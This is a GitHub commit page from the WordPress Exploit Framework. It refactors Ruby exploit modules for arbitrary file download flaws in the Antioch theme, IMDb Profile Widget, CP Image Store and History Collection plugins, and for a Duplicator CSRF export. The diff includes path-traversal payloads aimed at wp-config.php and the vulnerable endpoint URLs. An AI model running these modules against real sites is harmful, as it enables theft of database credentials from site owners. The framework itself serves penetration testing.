Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 35e60fc

Browse files
committed
Change file download modules to expand export paths
1 parent d576de9 commit 35e60fc

19 files changed

+143
-360
lines changed

lib/wpxf/wordpress/file_download.rb

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,11 +18,15 @@ def initialize
1818
StringOption.new(
1919
name: 'export_path',
2020
desc: 'The path to save the file to',
21-
required: false
21+
required: export_path_required
2222
)
2323
])
2424
end
2525

26+
def export_path_required
27+
false
28+
end
29+
2630
# @return [String] the working directory of the vulnerable file.
2731
def working_directory
2832
nil
@@ -60,7 +64,8 @@ def remote_file
6064

6165
# @return [String] the path to save the file to.
6266
def export_path
63-
normalized_option_value('export_path')
67+
return nil if normalized_option_value('export_path').nil?
68+
File.expand_path normalized_option_value('export_path')
6469
end
6570

6671
# Run the module.

modules/auxiliary/all_in_one_migration_export.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@ def initialize
66

77
update_info(
88
name: 'All-in-One Migration Export',
9-
desc: 'This module allows you to export WordPress data (such as the '\
10-
'database, plugins, themes, uploaded files, etc) via the '\
11-
'All-in-One Migration plugin in versions < 2.0.5.',
9+
desc: %(
10+
This module allows you to export WordPress data (such as the
11+
database, plugins, themes, uploaded files, etc) via the
12+
All-in-One Migration plugin in versions < 2.0.5.
13+
),
1214
author: [
1315
'James Golovich', # Disclosure
1416
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -40,7 +42,8 @@ def check
4042
end
4143

4244
def export_path
43-
normalized_option_value('export_path')
45+
return nil if normalized_option_value('export_path').nil?
46+
File.expand_path normalized_option_value('export_path')
4447
end
4548

4649
def run
@@ -66,6 +69,6 @@ def run
6669
end
6770

6871
emit_success "Saved export to #{export_path}"
69-
return true
72+
true
7073
end
7174
end
Lines changed: 7 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
11
class Wpxf::Auxiliary::AntiochArbitraryFileDownload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::FileDownload
33

44
def initialize
55
super
66

77
update_info(
88
name: 'Antioch Theme Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in the Antioch theme '\
10-
'which allows you to download any arbitrary file accessible '\
11-
'by the user the web server is running as.',
129
author: [
1310
'Ashiyane Digital Security Team', # Disclosure
1411
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -18,77 +15,25 @@ def initialize
1815
],
1916
date: 'Sep 08 2014'
2017
)
21-
22-
register_options([
23-
StringOption.new(
24-
name: 'remote_file',
25-
desc: 'The path to the remote file (relative to /wp-content/themes/antioch/lib/scripts/)',
26-
required: true,
27-
default: '../../../../../wp-config.php'
28-
),
29-
StringOption.new(
30-
name: 'export_path',
31-
desc: 'The file to save the file to',
32-
required: false
33-
)
34-
])
3518
end
3619

3720
def check
3821
check_theme_version_from_style('antioch')
3922
end
4023

41-
def remote_file
42-
normalized_option_value('remote_file')
24+
def default_remote_file_path
25+
'../../../../../wp-config.php'
4326
end
4427

45-
def export_path
46-
normalized_option_value('export_path')
28+
def working_directory
29+
'wp-content/themes/antioch/lib/scripts/'
4730
end
4831

4932
def downloader_url
5033
normalize_uri(wordpress_url_themes, 'antioch', 'lib', 'scripts', 'download.php')
5134
end
5235

53-
def request_file
54-
if export_path.nil?
55-
emit_info 'Requesting file...'
56-
return execute_get_request(
57-
url: downloader_url,
58-
params: { 'file' => remote_file }
59-
)
60-
else
61-
emit_info 'Downloading file...'
62-
return download_file(
63-
url: downloader_url,
64-
method: :get,
65-
params: { 'file' => remote_file },
66-
local_filename: export_path
67-
)
68-
end
69-
end
70-
71-
def run
72-
return false unless super
73-
74-
res = request_file
75-
76-
if res.nil? || res.timed_out?
77-
emit_error 'Request timed out, try increasing the http_client_timeout'
78-
return false
79-
end
80-
81-
if res.code != 200
82-
emit_error "Server responded with code #{res.code}"
83-
return false
84-
end
85-
86-
if export_path.nil?
87-
emit_success "Result: \n#{res.body}"
88-
else
89-
emit_success "Downlaoded file to #{export_path}"
90-
end
91-
92-
true
36+
def download_request_params
37+
{ 'file' => remote_file }
9338
end
9439
end

modules/auxiliary/cp_image_store_arbitrary_file_download.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@ def initialize
66

77
update_info(
88
name: 'CP Image Store Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in version 1.0.5 of the CP '\
10-
'Image Store plugin which allows you to download any arbitrary '\
11-
'file accessible by the user the web server is running as.',
9+
desc: %(
10+
This module exploits a vulnerability in version 1.0.5 of the CP
11+
Image Store plugin which allows you to download any arbitrary
12+
file accessible by the user the web server is running as.
13+
),
1214
author: [
1315
'Joaquin Ramirez Martinez', # Disclosure
1416
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -53,7 +55,8 @@ def remote_file
5355
end
5456

5557
def export_path
56-
normalized_option_value('export_path')
58+
return nil if normalized_option_value('export_path').nil?
59+
File.expand_path normalized_option_value('export_path')
5760
end
5861

5962
def run
@@ -107,6 +110,6 @@ def run
107110
end
108111
end
109112

110-
return true
113+
true
111114
end
112115
end

modules/auxiliary/duplicator_csrf_db_export.rb

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,9 +7,11 @@ def initialize
77

88
update_info(
99
name: 'Duplicator <= 1.1.3 CSRF Database Export',
10-
desc: 'This module exploits a cross-site request forgery vulnerability found '\
11-
'in Duplicator <= 1.1.3 which will create a database export when a user '\
12-
'visits the generated web page.',
10+
desc: %(
11+
This module exploits a cross-site request forgery vulnerability found
12+
in Duplicator <= 1.1.3 which will create a database export when a user
13+
visits the generated web page.
14+
),
1315
author: [
1416
'RatioSec Research', # Discovery and disclosure
1517
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -48,7 +50,8 @@ def check
4850
end
4951

5052
def export_path
51-
datastore['export_path']
53+
return nil if normalized_option_value('export_path').nil?
54+
File.expand_path normalized_option_value('export_path')
5255
end
5356

5457
def complete_path

modules/auxiliary/ghost_unrestricted_export_download.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,8 @@ def check
3939
end
4040

4141
def export_path
42-
normalized_option_value('export_path')
42+
return nil if normalized_option_value('export_path').nil?
43+
File.expand_path normalized_option_value('export_path')
4344
end
4445

4546
def download_url

modules/auxiliary/history_collection_arbitrary_file_download.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@ def initialize
66

77
update_info(
88
name: 'History Collection Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in all versions of the '\
10-
'History Collection plugin which allows you to download any arbitrary '\
11-
'file accessible by the user the web server is running as.',
9+
desc: %(
10+
This module exploits a vulnerability in all versions of the
11+
History Collection plugin which allows you to download any arbitrary
12+
file accessible by the user the web server is running as.
13+
),
1214
author: [
1315
'Kuroi\'SH', # Disclosure
1416
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -43,7 +45,8 @@ def remote_file
4345
end
4446

4547
def export_path
46-
normalized_option_value('export_path')
48+
return nil if normalized_option_value('export_path').nil?
49+
File.expand_path normalized_option_value('export_path')
4750
end
4851

4952
def downloader_url
@@ -89,9 +92,9 @@ def run
8992
emit_success "Result: \n#{res.body}"
9093
end
9194
else
92-
emit_success "Downlaoded file to #{export_path}"
95+
emit_success "Downloaded file to #{export_path}"
9396
end
9497

95-
return true
98+
true
9699
end
97100
end
Lines changed: 7 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,11 @@
11
class Wpxf::Auxiliary::ImdbProfileWidgetArbitraryFileDownload < Wpxf::Module
2-
include Wpxf
2+
include Wpxf::WordPress::FileDownload
33

44
def initialize
55
super
66

77
update_info(
88
name: 'IMDb Profile Widget <= 1.0.8 Arbitrary File Download',
9-
desc: 'This module exploits a vulnerability in the IMDb Profile Widget plugin '\
10-
'which allows you to download any arbitrary file accessible '\
11-
'by the user the web server is running as.',
129
author: [
1310
'CrashBandicot @DosPerl', # Disclosure
1411
'Rob Carr <rob[at]rastating.com>' # WPXF module
@@ -19,77 +16,25 @@ def initialize
1916
],
2017
date: 'Mar 26 2016'
2118
)
22-
23-
register_options([
24-
StringOption.new(
25-
name: 'remote_file',
26-
desc: 'The path to the remote file (relative to /wp-content/plugins/imdb-widget/)',
27-
required: true,
28-
default: '../../../wp-config.php'
29-
),
30-
StringOption.new(
31-
name: 'export_path',
32-
desc: 'The file to save the file to',
33-
required: false
34-
)
35-
])
3619
end
3720

3821
def check
3922
check_plugin_version_from_readme('imdb-widget', '1.0.9')
4023
end
4124

42-
def remote_file
43-
normalized_option_value('remote_file')
25+
def working_directory
26+
'wp-content/plugins/imdb-widget/'
4427
end
4528

46-
def export_path
47-
normalized_option_value('export_path')
29+
def default_remote_file_path
30+
'../../../wp-config.php'
4831
end
4932

5033
def downloader_url
5134
normalize_uri(wordpress_url_wp_content, 'plugins', 'imdb-widget', 'pic.php')
5235
end
5336

54-
def request_file
55-
if export_path.nil?
56-
emit_info 'Requesting file...'
57-
return execute_get_request(
58-
url: downloader_url,
59-
params: { 'url' => remote_file }
60-
)
61-
else
62-
emit_info 'Downloading file...'
63-
return download_file(
64-
url: downloader_url,
65-
method: :get,
66-
params: { 'url' => remote_file },
67-
local_filename: export_path
68-
)
69-
end
70-
end
71-
72-
def run
73-
return false unless super
74-
75-
res = request_file
76-
77-
if res.nil? || res.timed_out?
78-
emit_error 'Request timed out, try increasing the http_client_timeout'
79-
return false
80-
end
81-
82-
if res.code != 200
83-
emit_error "Server responded with code #{res.code}"
84-
return false
85-
end
86-
87-
if export_path.nil?
88-
emit_success "Result: \n#{res.body}"
89-
else
90-
emit_success "Downlaoded file to #{export_path}"
91-
end
92-
93-
true
37+
def download_request_params
38+
{ 'url' => remote_file }
9439
end
9540
end

0 commit comments

Comments
 (0)